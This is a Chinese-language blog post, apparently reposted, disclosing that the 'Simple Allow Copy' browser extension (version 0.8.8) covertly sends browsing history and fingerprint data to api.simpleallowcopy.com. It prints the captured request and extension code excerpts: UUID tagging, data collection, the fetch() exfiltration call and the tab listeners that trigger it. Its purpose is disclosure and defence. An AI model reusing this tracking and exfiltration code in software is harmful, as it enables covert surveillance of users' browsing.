浏览器插件:Simple Allow Copy 正在监视你的一举一动

插件简述

"Simple Allow Copy"是一款可以帮助用户突破网页复制限制的浏览器扩展。它特别适用于那些禁止复制粘贴的网站,如百度文库、豆丁文库等。使用这款插件,用户可以轻松复制网页上的内容,无需手动输入或使用OCR工具。

该插件截止当前已有70万用户使用,高达70万用户个人隐私将受到影响。
存在问题的插件版本:0.8.8,更新时间为:2024年7月8日,如果你发现你的版本是0.8.8,那么极有可能已经被偷取信息(浏览器会在背后自动更新插件)。

事情起因

事情起因是当时正在挂着代理抓包时,突然发现浏览器无缘无故会向api.simpleallowcopy.com不断的发起请求。


直到查看了请求包才发现事情的严重性,因为它记录了我的所有网站URL以及浏览器一些指纹信息发送到api.simpleallowcopy.com网站中。


它记录了:请求时间、请求URL、UserAgent、域名、本地语言、用户ID、操作系统等等信息。
数据包:

POST /skip HTTP/1.1
Host: api.simpleallowcopy.com
User-Agent: xixi
Content-Type: application/json
Accept: */*
Origin: chrome-extension://aefehdhdciieocakfobpaaolhipkcpgc
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive{"timestamp":"","uri":"","user_agent":"","domain":"","locale":"","user_id":"","platform":"","referer":""}

分析过程

经历上述情况后,果断找到这个插件的目录,插件标识是:aefehdhdciieocakfobpaaolhipkcpgc,经过分析定位到了核心逻辑代码在:background/index.js中实现:

chrome.storage.local.get(["sacp"], (function(e) {if (void 0 === e.sacp) {let e = self.crypto.randomUUID();chrome.storage.local.set({sacp: e})}}));

首先该代码一开始就判断:如果在本地存储中没有找到sacp,则生成一个新的UUID并保存,这个UUID在整个窃取过程是比较重要的。


主要获取信息的逻辑是写在了I函数里面,I函数一开始是做了一些判断。

if (i && i.url) {
if (o[i.id] !== i.url || n !== i.id) {n = i.id;o[i.id] = i.url;setTimeout(() => {// 执行异步处理}, 0);
}

检查是否已经处理过当前标签页 URL,如果没有处理过则更新相关状态并进行处理发起请求。

let c = i.sacp;
cmta = {timestamp: Date().toLocaleString(),uri: o.url,user_agent: navigator.userAgent,domain: n.hostname,locale: navigator.language,user_id: c || "",platform: navigator.platform || "",referer: o.initiator || ""
}

可以看到传递参数组成是由timestamp、uri、user_agent、domain、locale、user_id、platform、referer,这几个部分组成,当然还有一个隐藏参数,那就是IP地址,虽然参数中并没有IP,但实际上发起请求的时候就已经可以将请求人员IP进行存储。

async function(e, t) {
return (await fetch(e, {headers: {"Content-Type": "application/json"},method: "POST",body: JSON.stringify(t)})).json()
}("https://api.simpleallowcopy.com/skip", cmta)

最后再通过异步的方式将数据发送至http://api.simpleallowcopy.com

我们知道了核心代码是在I函数中,那么I函数在什么情况下会调用呢,什么情况下该插件会记录请求信息:


1、标签页激活:
当用户切换到一个新的标签页时触发。

chrome.tabs.onActivated.addListener(() => { i(); });

2、标签页更新:
当当前标签页的 URL 发生变化时触发。

chrome.tabs.onUpdated.addListener(() => { i(); });

3、扩展图标点击:
当用户点击扩展图标时,函数 i 会被触发。

chrome.action.onClicked.addListener(() => {chrome.tabs.query({ active: true, currentWindow: true }, ([e]) => {e && proxy.invoke(e.id, "toggle");});
});

最终导致的危害就是每条URL访问记录都会被窃取

通过查询域名相关信息发现:

域名: http://api.simpleallowcopy.com
域名注册时间:2024年5月29日
插件更新时间:2024年7月8日

该域名是5月29注册,插件7月8日更新,也就是说这一次行动是有蓄谋有计划的,通过这种方式窃取用户个人信息。

危害场景

很多师傅可能心里会想,只是记录了请求的URL,好像并没有什么危害,确实,如果单纯从记录的url来说可能危害并不是很大,但是实际上这个影响是巨大的。
场景一:

  • 插件作者可以通过这些信息去分析安装了这个插件的人员真实身份、工作单位,甚至住址信息。
    为什么呢?插件一开始有这样的代码:let e = self.crypto.randomUUID();获取一个uuid。
    这个uuid是插件作者记录你的所有信息用的一个标识,如果你从24年7月8日安装该插件,一直使用到25年7月,整整一年的时间。插件作者可以通过后台根据该uuid去定位,该用户一年中访问过什么网站,比如你在这一年访问过公司网站,在百度上搜索过家庭住址、某个网站的用户信息是通过Get传输的。结合以上几个要素,很轻易的定位到这个uuid的详细身份信息。

场景二:

  • 敏感身份人员,如果单位互联网可用或者相关人员办公/个人电脑混用的情况,时间一长,这泄露的信息将会是致命的,例如历史原因导致的:用户密码信息、用户凭证信息GET明文传输的案例。想想都可怕。

场景三:

  • 红蓝队员,你正在攻击的目标,正在挖掘的漏洞,可能拆安作者拿来你访问的Payload就能直接打,可能插件作者很轻易的获取到某些网络/安全设备地址

处置建议

该卸载就卸载把,可能你现在是低版本不受影响,但是保不准哪天浏览器就给你默默升级插件了。
chrome禁止自动更新插件可屏蔽URL:https://clients2.google.com/service/update2/crx,如果不行以及其他浏览器那就得上百度研究了

以该插件为例,是否还会有其他插件存在这个情况呢(偷偷潜伏个几年)?上个网太难了!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/45328.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电子签章 签到 互动 打卡 创意印章 支持小程序 H5 App

电子签章 签到 互动 打卡 创意印章 支持小程序 H5 App 定制化

彻底搞懂前端跨域解决方案

目录 1浏览器的同源策略 1.1同源策略概述 1.2什么是源(origin)? 2跨域会受到哪些限制 2.1限制DOM访问 2.2限制Cookie访问 2.3限制Ajax获取数据 3几个注意点 4CORS 解决 Ajax 跨域问题 4.1CORS 概述 4.2CORS 解决简单请求跨域 4.…

Android系统实现多网共存且能独立上外网

有些场景下需要多网共存,使用网络聚合进行提升网速。而在Android系统源码上默认是不支持多网同时共存且能独立上外网的。所以需要进行定制修改 修改如下: 1.修改main 表优先级到9999, 作用:eth1 wlan0 访问内网 2.不去teardown 低分数网线 3.修改wifi为70分,以太网为6…

探索淘宝详情数据获取的 API 新路径:突破与变革

在当今数字化商业的浪潮中,淘宝作为全球知名的电子商务平台,其蕴含的海量数据对于企业和开发者来说具有极高的价值。而获取淘宝详情数据的 API 则成为了开启这一宝藏的关键钥匙。 淘宝详情数据获取的 API 之旅,是一段充满挑战与机遇的征程。过…

Java架构师2024高频面试问题

文章目录 基础篇高可用指标4个9Arrays.asList()数组转集合Bug1. 返回的列表是固定大小的2. 共享底层数组3. 列表转换为数组时的类型问题解决方案遍历集合时remove操作Bug使用增强for循环(foreach)时的限制使用迭代器正确地删除元素对于LinkedList的特殊情形HashCode冲突为什么…

生成式人工智能(AIGC):开发者的得力助手还是职业威胁?

🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 引言 在当今软件开发领域,生成式人工智能(AIGC)技术正在以前所未有的方式改变着开发者的工作…

谈一谈Flinksql的Join和Lookupjoin的区别

JOIN JOIN 是最常见的 SQL 连接操作,用于将两张表根据指定的条件进行连接。它有以下几种类型: INNER JOIN: 仅返回两个表中满足连接条件的记录。LEFT JOIN (LEFT OUTER JOIN): 返回左表中的所有记录以及右表中满足连接条件的记录,如果右表中…

【python】IPython的使用技巧

IPython使用技巧 一、魔法命令 %timeit 用途:用于测量一段代码的执行时间,这对于评估代码的性能非常有帮助,尤其适用于需要进行性能优化和比较不同实现方式效率的场景。示例:%timeit [x**2 for x in range(1000)]扩展&#xf…

Comparable 和 Comparator 接口的区别

Comparable 和 Comparator 接口的区别 1、Comparable 接口1.1 compareTo() 方法 2、Comparator 接口2.1 compare() 方法 3、 Comparable 和 Comparator 的区别总结 💖The Begin💖点点关注,收藏不迷路💖 在Java中,Compa…

Python面试题:如何在 Python 中避免循环依赖?

循环依赖(circular dependency)是指两个或多个模块相互依赖,导致无法正确加载模块,从而引发错误。为了避免循环依赖,通常可以采取以下几种方法: 1. 使用延迟导入(Lazy Import) 将导…

SpringCloud从配置中心读取git配置成功却没有效果

SpringCloud从配置中心读取git配置成功却没有效果 客户端bootstrap.yml: spring:cloud:config:name: user-providerprofile: devlabel: masteruri: http://localhost:8000application:name: user-providerprofiles:active: devmanagement:endpoints:web:exposure:…

keepalived安装使用

keeepalived介绍 Keepalived的作用是检测服务器的状态, 如果有一台web服务器宕机,或工作出现故障,Keepalived将检测到,并将有故障的服务器从系统中剔除,同时使用其他服务器代替该服务器的工作,当服务器工作…

pico+unity3d搭建环境

分别注册pico开发者平台和unity的账号密码 下载pico的sdk和unity开发软件 创建unity3d核心项目 在项目中找到窗口,包管理器,添加磁盘的包,选中sdk 安装后就可以使用pico的操作和演示; 剩下的看文档

C语言——基础框架、变量、运算符

基础框架&#xff1a; #include<stdio.h> //编译预处理指令int main() //程序的入口主函数main { //程序&#xff08;函数、功能&#xff09;结束标志return 0; //程序退出前返回给调用者&#xff08;操作系统&#xff09;的值…

不同型号的GD32 MCU如何区分?

大家是否碰到过以下应用场景&#xff1a;同一套软件代码希望跑在不同型号的GD32 MCU中&#xff0c;但有些地方需要根据MCU型号进行调整&#xff1f;或者上位机或其他MCU与GD32 MCU通信时需要知道对应的MCU型号是哪个&#xff1f; 此时&#xff0c;我们就需要了解如何获取以及区…

Windows系统上使用npm来安装和配置Yarn,在VSCode中使用

一、安装Yarn 1. 安装Node.js和npm 如果还没有安装Node.js和npm&#xff0c;可以从Node.js官方网站下载并安装最新版本的Node.js&#xff0c;npm会随Node.js一起安装。 2. 使用npm安装Yarn 打开命令提示符或PowerShell&#xff0c;运行以下命令来全局安装Yarn&#xff1a; …

JANDEL探针四探头RM3-AR英国健德尔四探针手测

JANDEL探针四探头RM3-AR英国健德尔四探针手测

LabVIEW远程实验数据采集系统

随着科学研究的不断发展&#xff0c;实验室对远程数据采集和监控的需求越来越高。传统的数据采集方式往往需要实验人员亲临现场&#xff0c;费时费力&#xff0c;且数据实时性较差。为了解决这些问题&#xff0c;基于LabVIEW开发了一套远程实验数据采集系统&#xff0c;实现对实…

汽车电子助力转向系统研究

汽车电子助力转向系统研究 摘要 电子助力转向系统&#xff08;Electric Power Steering&#xff0c;EPS&#xff09;是一种利用电动机辅助驾驶员进行车辆转向的系统。相比于传统的液压助力转向系统&#xff0c;EPS具有更高的效率、精确性和可控性。本文将详细探讨EPS的工作原理…

ArcGIS识别不GDB文件地理数据库显示为空?

​ 点击下方全系列课程学习 点击学习—>ArcGIS全系列实战视频教程——9个单一课程组合系列直播回放 点击学习——>遥感影像综合处理4大遥感软件ArcGISENVIErdaseCognition 我们经常会碰到拷贝的GDB文件ArcGIS无法识别&#xff0c;软件只是把他当做普通的文件夹去看待&am…